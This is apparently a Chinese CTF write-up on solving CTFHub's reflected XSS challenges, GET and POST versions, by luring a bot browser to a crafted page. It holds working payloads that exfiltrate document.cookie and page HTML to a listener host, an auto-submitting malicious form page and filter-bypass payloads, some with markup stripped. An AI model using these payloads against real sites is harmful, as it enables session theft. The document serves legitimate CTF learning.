CTFHub反射型XSS实战:从注入点到外带flag的完整链路 第一次打开CTFHub技能树里的XSS反射型题目时我整个人是懵的输入框里明明填了scriptalert(1)/script页面也弹窗了可题目的flag栏我还是不知道填什么。后来才反应过来CTFHub上的反射型XSS不是简单“弹窗给flag”而是让你站在攻击者视角利用XSS从“机器人受害者”身上把flag偷出来。这篇WP会把反射型(get)、反射型(post)的完整做题流程、payload写法、监听端搭建和踩坑记录都过一遍适合刚接触CTF、想彻底搞懂反射型XSS利用链路的选手。1. 先把这个平台的“反射型XSS”玩法讲透1.1 这里不是普通弹窗题而是“机器人访问题”很多新手踩的第一个坑是把CTFHub的XSS题当成传统的“输入payload弹框拿flag”的靶场题。实际上CTFHub技能树的XSS模块特别是反射型题目玩法更接近真实的攻击链平台会启动一个目标Web环境环境里存在一个反射型XSS点我们自己用浏览器测试时页面里没有flagflag藏在“受害者浏览器会话”中可能是Cookie、页面里隐藏的DOM节点、也可能是某个接口返回的数据我们需要把自己构造好的恶意URL或恶意页面提交给平台平台会驱动一个内置浏览器也就是常说的机器人/Bot去访问这个URLXSS在机器人浏览器中触发后把敏感数据回传到我们的监听端我们拿到flag回填到题目的flag输入框。所以整个做题过程本质上是在模拟一次“诱导受害者访问恶意链接-恶意脚本窃取会话数据-数据外带回传”的攻击闭环。理解了这一点就不会再干等页面上掉flag了。1.2 反射位置决定payload怎么写反射型XSS的“反射”二字说的是用户输入被服务端处理后原样拼接到响应页面中。但同样叫反射型拼接的位置不同payload写法完全不同。我用一个平时经常拿来举例的代码来说明!-- 场景A输入插入到HTML标签内 -- title?php echo $_GET[keyword]; ?/title !-- 场景B输入插入到HTML属性内 -- input value?php echo $_GET[keyword]; ? !-- 场景C输入插入到script脚本块内 -- script var keyword ?php echo $_GET[keyword]; ?; /script场景A如果直接输入scriptalert(1)/script由于被拼在title标签内部部分浏览器环境下script标签不会被执行而且如果前面多了title的起始标签整个DOM解析顺序还会出问题。正确写法往往需要先把title闭合掉再注入可执行标签/titlescriptalert(1)/script场景B则要先把属性值闭合scriptalert(1)/script场景C得把单引号闭合掉还要处理后面的分号;alert(1);//CTFHub的反射型XSS大概率是把输入直接拼到正文HTML中所以基础版用scriptalert(1)/script就可以。但这个“先判断拼接位置再决定payload”的思路是后面所有变体题的通用解题起点。1.3 做题前要准备的三样东西反射型XSS题目不是打开浏览器就能一路做完的我通常会在启动环境之前先准备好三样东西浏览器开发者工具用来查看渲染后的DOM结构、网络请求、Cookie变化。F12看Elements面板比盲猜回显位置高效得多。Burp Suite或其他抓包工具反射型(get)的请求参数在URL里直接改地址栏也能测但反射型(post)和服务端过滤行为还是用Burp观察更清楚。一个能收到外带数据的监听端可以是本机的nc监听也可以是python3 -m http.server甚至是一台公网云主机上的HTTP服务。后面会具体说。准备好这三样就可以正式开始做题了。2. 反射型(get)从注入点到外带的完整链路2.1 找注入点的三个动作CTFHub反射型(get)启动之后页面上一般会有一个输入框和提交按钮。这类题的第一步不是急着填payload而是先把参数和回显机制搞清楚。我会依次做三个动作第一步看URL结构。随便输入一个字符串比如keywordhello然后提交。注意地址栏的变化确认GET参数名是什么。CTFHub这套题常用keyword或name这样的参数名但要以自己启动的环境为准。第二步看页面回显。输入一个带明显边界的字符串比如abc123xss提交后在开发者工具的Elements面板里找到回显位置。这一步重点看两件事回显是否完整显示还是被过滤/转义了回显在什么标签里周围有没有引号、尖括号之类的特殊字符。如果尖括号原样保留说明存在原始的HTML注入点后面就不需要折腾闭合问题。第三步看服务端是否有过滤。输入scriptalert(1)/script提交后切到Elements面板看最终渲染结果。如果页面源码里还是完整的scriptalert(1)/script说明没有过滤script标签这是最理想的情况。如果变成scrscriptipt或者被删成alert(1)说明有一层过滤规则后面第4章会讲怎么绕。2.2 从弹窗到外带先走通再优化确认存在HTML注入点后先做最小验证scriptalert(1)/script提交后如果浏览器弹窗说明JavaScript已经可以执行。但注意这一步只证明XSS存在我们还没法拿flag。此时需要思考第二个问题flag到底在哪里CTFHub反射型(get)常见的情况是flag位于机器人浏览器的Cookie中或者flag被渲染在页面的某个节点中。为了同时覆盖这两种情况我通常会构造一个“多路外带”的payloadscript var data document.cookie | document.body.innerText; new Image().src http://监听端IP:端口/?q encodeURIComponent(data); /script这串payload做的事是把Cookie和当前页面正文拼接起来通过向监听端发起一次图片请求的方式把数据带到监听端的访问日志里。用new Image()而不是fetch或XMLHttpRequest是因为图片请求天然支持跨域而且不需要处理响应和CORS作为外带通道非常稳。2.3 监听端的搭建与公网可达性外带通道的另一端是监听端。最轻量的方案是在自己的机器上起一个nc监听nc -lvnp 8080然后payload里的监听端IP写成这台机器的IP。但这里有个极易踩坑的点如果机器人在云端的靶场环境里它访问localhost或内网IP是找不到你的监听端的。所以监听端IP必须是机器人能访问到的公网地址。如果没有公网IP有两个替代思路用有公网IP的云主机在云主机上执行nc -lvnp 8080或者挂一个简单的Python HTTP服务payload里填云主机的公网IP。用CTF平台自带的接收机制CTFHub部分XSS题目会给出一个XSS平台或接收地址生成后填入payload即可。这种方式不用自己管公网推荐优先看题目说明里有没有提供。我第一次做的时候就是没注意公网可达性padload把地址写成了127.0.0.1结果机器人把flag发给了它自己的localhost当然什么都没收到。2.4 完整流程示例假设我的监听端是1.2.3.4:8080完整流程是这样先在云主机上启动监听nc -lvnp 8080构造恶意URLhttp://目标环境地址/?keywordscriptvar%20data%3Ddocument.cookie%2B%22%7C%22%2Bdocument.body.innerText%3Bnew%20Image().src%3D%22http%3A%2F%2F1.2.3.4%3A8080%2F%3Fq%3D%22%2BencodeURIComponent(data)%3B%2Fscript把这段URL提交给平台机器人等几秒后查看监听端会看到类似这样的记录GET /?qctfhub%7B...%7D%7C%E9%A1%B5%E9%9D%A2%E5%86%85%E5%AE%B9 HTTP/1.1把URL解码后就能看到ctfhub{...}格式的flag。2.5 为什么用encodeURIComponent而不是直接拼接这里有个小细节值得多说一句。很多人写外带payload时会直接拼new Image().src http://1.2.3.4:8080/?q document.cookie;如果Cookie里恰好有;或这些字符在URL里可能被截断或编码异常导致监听端收到不完整的数据。用encodeURIComponent()把整个数据编码一遍到监听端再解码是最稳妥的方式。如果数据内容比较简单也可以偷懒不大动干戈。但一旦涉及中文页面内容、换行符、引号等特殊字符直接拼接几乎必出问题。3. 反射型(post)需要让受害者“主动提交数据”3.1 为什么GET版的做法在POST版失效反射型(post)与反射型(get)最核心的区别在于GET版的恶意URL直接就能让机器人触发XSS而POST版需要一个“跳板页面”。原因很简单POST参数放在请求体里机器人如果只是访问一个URL服务端接收不到POST参数页面自然就不存在反射点。我们必须让机器人先加载一个我们构造的HTML页面这个页面里有一个自动提交的表单表单再向目标环境发送POST请求。也就是说攻击链从一段URL变成了一段HTML页面机器人访问我们的恶意页面 - 页面里自动提交表单 - 表单POST到目标环境 - 目标环境响应包含XSS注入 - 浏览器执行JS - 数据外带到监听端3.2 构造一个自动提交的恶意表单页面一个典型的POST版反射型XSS利用页面长这样html body form idf actionhttp://目标环境地址/reflected_post.php methodpost input namekeyword valuescriptnew Image().srchttp://1.2.3.4:8080/?qdocument.cookie/script /form script document.getElementById(f).submit(); /script /body /html注意几个关键点action要写目标环境接收POST参数的完整地址input的name要与目标页面接收的参数名一致value里嵌套了单引号闭合了HTML属性里面的JS使用双引号避免冲突页面加载后自动提交表单。把这个页面部署到一台Web服务器上然后把页面URL提交给CTFHub的机器人机器人访问后会自动完成POST提交并在目标页面触发XSS。3.3 没有自己的服务器怎么办很多初学者卡在这里我没云主机怎么部署这个页面可选的方案有几种CTFHub平台自带的XSS平台支持自定义页面或Payload模板如果题目环境提供直接用最方便。利用一些在线HTML运行环境生成一个可公网访问的页面链接。但要注意部分环境会拒绝脚本自动提交或者强制沙箱不一定完全可控。把HTML编码成data:text/html协议的URL提交给机器人。比如把上面的表单页整体URL编码后构造一个超长的data:URL。这个方式胜在不需要服务器但有些浏览器的data:URL页面里不允许跨域提交表单能不能成功要看机器人浏览器的具体策略。我在实际做题时更推荐第一种或自建服务器方案稳定性远高于后两种。data:URL看起来简洁但跨域限制和长度限制都可能让payload静默失败不好排查。3.4 POST版的flag提取和GET版略有不同POST版页面执行XSS时页面内容通常和GET版不同flag不一定在Cookie里也可能藏在页面某个div idflag之类的节点中。所以POST版的外带payload我会写得更全面一点script var data document.cookie | document.title | document.body.innerHTML; new Image().src http://1.2.3.4:8080/?q encodeURIComponent(data); /script把Cookie、标题、整个页面HTML全部打回来一次看不清就多看几处。虽然数据量会大一些但能最大概率覆盖flag所在位置。收到数据后用Burp Suite的Decoder或在线工具做一次URL解码搜ctfhub{关键字基本就能定位flag。4. 过滤变体当script被拦时的绕过思路4.1 先做黑盒过滤探测CTFHub的反射型XSS模块里也包含带过滤的变体题可能直接叫“过滤绕过”也可能是在反射型题里叠加了简单的WAF规则。遇到这类题我先不做假设而是通过三轮探测确认过滤规则。第一轮输入普通字符串hello看是否原样回显确认基础注入点没变。第二轮输入scriptalert(1)/script提交后切到开发者工具看渲染结果。常见的几种表现输入表现推断过滤规则尖括号被转义成输出做了HTML实体编码script被删掉但标签还在过滤了script关键字script变成scrscriptipt存在关键字替换或双写过滤输入被完整保留弹窗成功无过滤不需要绕第三轮输入一个不带script的可行payload比如img srcx onerroralert(1)看事件属性是否被过滤。通过这三轮基本能把规则边界摸清楚再决定绕过方向。4.2 没有script也能执行JS的几种标签如果只是过滤了script标签优先用事件型payload不需要script也能执行JavaScriptimg srcx onerroralert(1) svg onloadalert(1) iframe onloadalert(1) body onloadalert(1) a hrefjavascript:alert(1)click/aimg和svg是最常用的两个。前者加载一个不存在的图片资源会触发onerror后者页面加载即触发onload都不需要用户交互。如果onerror、onload这些关键字也被过滤再考虑details ontoggle、marquee onstart这类冷门事件或者用svganimate onbegin这种嵌套写法。CTF题里一般不会把冷门事件全部封死因为封杀的成本很高。4.3 关键字过滤的常见绕过姿势遇到关键字过滤常见手法有四类大小写混杂ScRiPt、OnErRoR。前提是服务端过滤规则没有做大小写归一化这种方式最古老但依然有效。双写绕过输入scrscriptipt如果服务端只做一次replace(script,)过滤后剩下的内容刚好拼成script。写闭合时要注意双写的部分必须落在关键字中间。HTML实体编码在标签属性值里可以用#x6A;表示j用#97;表示a如果浏览器解析HTML实体后交给JS引擎解释就可能绕过字符串层面的关键字检查。不过这取决于服务端和浏览器的解析顺序不是所有场景都有效。利用已有标签闭合如果输入被拼在某个现有标签内有时候不需要绕过过滤直接闭合当前标签再构造新标签即可例如svg onloadalert(1)严格来说这不叫绕过而是利用反射位置做了结构切换。但实战中反而是最常用、最稳妥的。4.4 给新手的优先级判断遇到过滤题我会按这个优先级去试而不是漫无目的地枚举先看能不能直接闭合标签构造完整的可执行标签再看onerror、onload等事件属性是否可用如果事件也被过滤尝试大小写、双写等变形最后才上编码组合因为编码方案受解析层影响最大最容易失败。过滤绕过的本质是对“过滤规则”和“解析顺序”的理解不是背payload。带着这个思路去刷CTFHub的过滤变体会顺利很多。5. 做反射型XSS时容易踩的坑逐个排查5.1 payload没触发从哪开始查payload提交后没弹窗最容易让人心态崩掉。我的排查链路比较固定第一步看回显是否完整。在Elements面板里直接搜自己的payload看有没有被转义、截断、删除。如果连原样都没有说明之前的注入点判断有误回去重新定位反射位置。第二步看闭合是否正确。如果页面代码显示为input valuescriptalert(1)/script说明输入被拼在属性内部需要先闭合引号。改写成scriptalert(1)/script再试。第三步看编码层数。输入框提交后浏览器的URL编码、服务端的HTML实体编码、JS的字符串转义可能叠加。这种时候用Burp抓包看最终发出的实际载荷会比自己肉眼猜快很多。第四步看执行条件。onerror类payload需要事件触发onload类需要标签加载如果目标页面禁用了脚本或图片加载payload自然不执行。5.2 弹窗成功但flag没回来多半是外带链路的问题弹窗成功说明XSS已经执行接下来的外带环节才是这类题的真正难点。数据没回来我按以下顺序排查监听端是否真的在监听确认端口没被占用命令没写错。最简单的方式是自己在浏览器里访问一下http://IP:端口/?test1如果监听端能看到请求说明链路通了。机器人能不能访问到监听端地址如果填的是127.0.0.1、局域网IP、或者内网地址机器人自然访问不到。改成公网可达地址或者用平台自带的XSS平台。外带请求是否被拦截部分环境启用了CSP内容安全策略会限制脚本向外部域名发请求。这种情况new Image()也可能被CSP的img-src拦住。可以尝试用location.href跳转到外带地址或者找一个被CSP放行的域名。CTFHub这类题一般不设CSP但如果以后刷真实靶场遇到要想到这一点。数据里有没有特殊字符如果监听端收到了请求但参数里只有一部分数据多半是URL合法字符问题。比如document.cookie里的分号、等于号在URL中需要编码没用encodeURIComponent就会截断。5.3 flag格式不对别忘了做URL解码有时监听端显示的数据是一大串%7B、%22之类的乍一看不像flag其实是URL编码后的结果。把收到的整段参数做一次URL解码再用ctfhub{搜索基本都能找到flag。用nc监听时收到的请求头可能包含中文乱码这是终端字符集的问题不影响原始数据。建议把日志重定向到文件再用编辑器打开检查nc -lvnp 8080 xss.log5.4 注意Cookie的HttpOnly属性有时候外带数据里只有页面正文没有Cookie不一定是payload写得不对而是目标环境给Cookie设置了HttpOnly。设置了HttpOnly的Cookie无法通过document.cookie读取这是浏览器的安全机制。遇到这种情况思路就要切换为“从页面里找flag”重点检查document.body.innerHTML、document.documentElement.outerHTML、接口响应等。CTFHub的XSS题目里flag通常不会被HttpOnly挡住但真实环境中这个坑很常见提前知道没坏处。6. 反射型XSS刷完之后值得继续做的三件事6.1 把反射型XSS的危害串起来想一遍做题时只为了拿flag但刷完之后值得停下来想一想反射型XSS为什么会被业界长期盯住攻击者构造一条恶意链接诱导受害者点击链接里的参数被服务端反射到页面脚本在受害者的浏览器上下文里执行。这个过程中攻击者没有直接接触受害者的数据却可以通过脚本读取Cookie、页面内容、表单数据甚至代替受害者发起请求。会话劫持、钓鱼、篡改页面、CSRF组合拳都可以从这一条链路延伸出去。CTFHub这套机器人访问题的模拟把“诱导访问”这一步抽象成了平台自动驱动Bot访问本质上就是在练习真实攻击中最关键的那个触发环节。6.2 建议立刻做的三件事第一件把反射型(get)和反射型(post)各重做一遍但要求自己不看笔记从零开始写payload。重做时会发现很多细节第一次根本没注意。第二件去把CTFHub技能树XSS模块里的DOM型、存储型也刷一遍。DOM型的触发点不在服务端响应而在前端JavaScript对location.hash或document.referrer这类不可信数据的处理存储型的触发点则移到其他用户访问页面时执行。三种类型对比着刷能很快建立起“XSS本质是数据从不可信源流向不可信执行点”的整体认知。第三件尝试自己搭一个最简单的PHP测试环境模拟$_GET[keyword]的反射点亲手在代码层面观察字符串拼接和HTML渲染的过程。环境越简单越容易看清XSS的根因。6.3 顺手养成授权意识学XSS很容易产生“看到输入框就想打一下”的冲动但这个习惯很危险。所有XSS练习都应该在授权环境下进行CTF平台提供的靶场、自己搭建的实验环境、获得书面授权的渗透测试项目这些都是合法的练习场景。对着未经授权的线上系统做任何探测都是越界。CTF题刷多了以后把技术用在正途比会多少绕过姿势更重要。我个人刷完这两道反射型题后最大的体会是XSS的外带链路才是最花时间的地方写payload反而是最简单的。只要耐心把“反射点定位、payload验证、监听端搭建、数据解码”这条链路完整走通一次后面再遇到任何反射型XSS题都不会慌了。